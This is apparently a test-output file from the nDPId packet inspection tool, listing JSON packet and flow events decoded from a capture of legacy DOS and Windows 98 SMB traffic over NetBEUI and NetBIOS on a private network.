+00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":28943,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAC\/w8AMsAP\/vDhcVAAMAFQBURVNUMSAgICAgICAgICAATURKUjk4ICAgICAgICAgIA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":67,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29055,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAAPw8H8sAP\/vAQAAAAAAAQACo2haC8B0A+lo+\/82xHHoVEVTVDEgICAgICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":68,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":3} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":69,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29130,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAAPw8XNgDAAAAIARzrfAqO+BwKjvAgCJAIkATA7DAAgpAAABAAAAAAABIEVORUVF"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":69,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":3} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":70,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29275,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8AEBAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":70,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29351,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEBDQAAAIARzbfAqO+BwKjvAgCJAIkATHy8AAIpAAABAAAAAAABIEZIRVBG"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":71,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29513,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8AAADgD\/7xmPygUVAAMAFQP\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAA"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":72,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29589,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieABLw8AADDgD\/7xeBvAUDABUAAxXvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVF"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":73,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00388{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":74,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29785,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8QEDAP\/vCgADAAAAAwBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":74,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":29960,"pkt_caplen":174,"pkt_type":160,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAKDw8AICDgD\/7xYEAAAAAAEAFQP\/U01CcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAhAABrAAJQQyBORVRXT1JLIFBST0dSQU0gMS4wAAJNSUNST1NPRlQgTkVUV09SS1MgMy4wAAJET1MgTE0xLjJYMDAyAAJET1MgTEFOTUFOMi4xAAJXaW5kb3dzIGZvciBXb3JrZ3JvdXBzIDMuMWEA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":75,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":160} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30036,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEEDwAAAIARy7fAqO+BwKjvAgCJAIkATA7DAAYpAAABAAAAAAABIEVORUVF"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":76,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30103,"pkt_caplen":101,"pkt_type":87,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAFfw8AIEDgD\/7xYMAAABACgAAxX\/U01CcgAAAACAAAAAAAAAAAAAAAAAAAAAAAAyAAAhAA0EAAIAaAsCAAEAAwAVBQOAsmSPT8T\/AAAAAAgAFQUDgAEb9l0="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":77,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":87} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30186,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8QEEAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":78,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30361,"pkt_caplen":155,"pkt_type":141,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAI3w8AQEDgD\/7xYMAAAoAAIAFQP\/U01CcwAAAAAQAAAAAAAAAAAAAAAAAAAAAAAyAQAhAAp1AEcAPgYCAAAAFQUDgAEAAAAAABAAAE1BUlRJTiBST1NFTkFVAAT\/AAAAAAAYACkANLVcqnsYd8yVvD05\/JKBnmi3H4Zsvi3FXFxNREpSOThcVEVTVABBOgA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":79,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":141} +00388{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30433,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEGAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":80,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30536,"pkt_caplen":83,"pkt_type":69,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAEXw8AQGDgD\/7xYMAAACACgAAxX\/U01CcwAAAACQAAAAAAAAAAAAAAAAAAAAyAAyAAAhAAN1ACkAAAAAAAL\/AAAAAwBBOgA="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":81,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":69} +00388{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30659,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8QEGAP\/vCgADAAAAAwBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":82,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30799,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAD7w8AYGDgD\/7xYMAAAoAAMAFQP\/U01CKwAAAAAAAAAAAAAAAAAAAAAAAAAAyAAyAABhAAEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":83,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":62} +00388{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30872,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEIEQAAAIARyLrAqO+BwKjv\/wCJAIkATHuvAAIpEAABAAAAAAABIEZIRVBG"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":84,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":85,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":30925,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAD7w8AYIDgD\/7xYMAAADACgAAxX\/U01CKwAAAACAAAAAAAAAAAAAAAAAAAAAyAAyAABhAAEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":85,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":62} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":31027,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8QEIAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAg"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":86,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":87,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":141343,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8AgJDgD\/7xQAAAAoAAAAFQP\/U01CcwAAAAAQAAAAAAAAAAAAAAAAAAAAAAAy"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":87,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":88,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":141465,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QELEwAAAIARxrrAqO+BwKjv\/wCJAIkATA22AAYpEAABAAAAAAABIEVORUVF"} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":88,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":529509,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":89,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":101} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409860,"pkt_ts_usec":77840,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":90,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":101} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409860,"pkt_ts_usec":625807,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":91,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":101} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409861,"pkt_ts_usec":175103,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":92,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":101} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1576409861597,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409861,"pkt_ts_usec":597261,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNJgAAAIARs03AqO+BwKjv\/wCKAIoAuRxEEQIAEMCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1576409861597,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":94,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409862,"pkt_ts_usec":195835,"pkt_caplen":180,"pkt_type":166,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAKbw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQRg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBBABUEVaoA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":94,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":166} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1576409861597,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":95,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409866,"pkt_ts_usec":206390,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":95,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":142} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1576409867606,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00685{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409867,"pkt_ts_usec":606753,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADlJwAAAIARsjXAqO+BwKjv\/wCKAIoA0Qj3EQIAEsCo74EAigC7AAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQRg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBBABUEVaoA"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":96,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1576409867606,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":97,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":734666,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAEvw8AoIDgD\/7xYEAAAAAAQAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAACBAAIUAAgAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":97,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":75} +00403{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":98,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":734893,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8AgMDgD\/7xYMAAAEACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAACBAAAAAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":98,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":99,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":736028,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAD7w8AwKDgD\/7xYMAAAoAAUAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAChAAIUAAAABQAEAAUAAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":99,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":62} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":100,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":736118,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8AoODgD\/7xYMAAAFACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAAChAAAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":100,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} 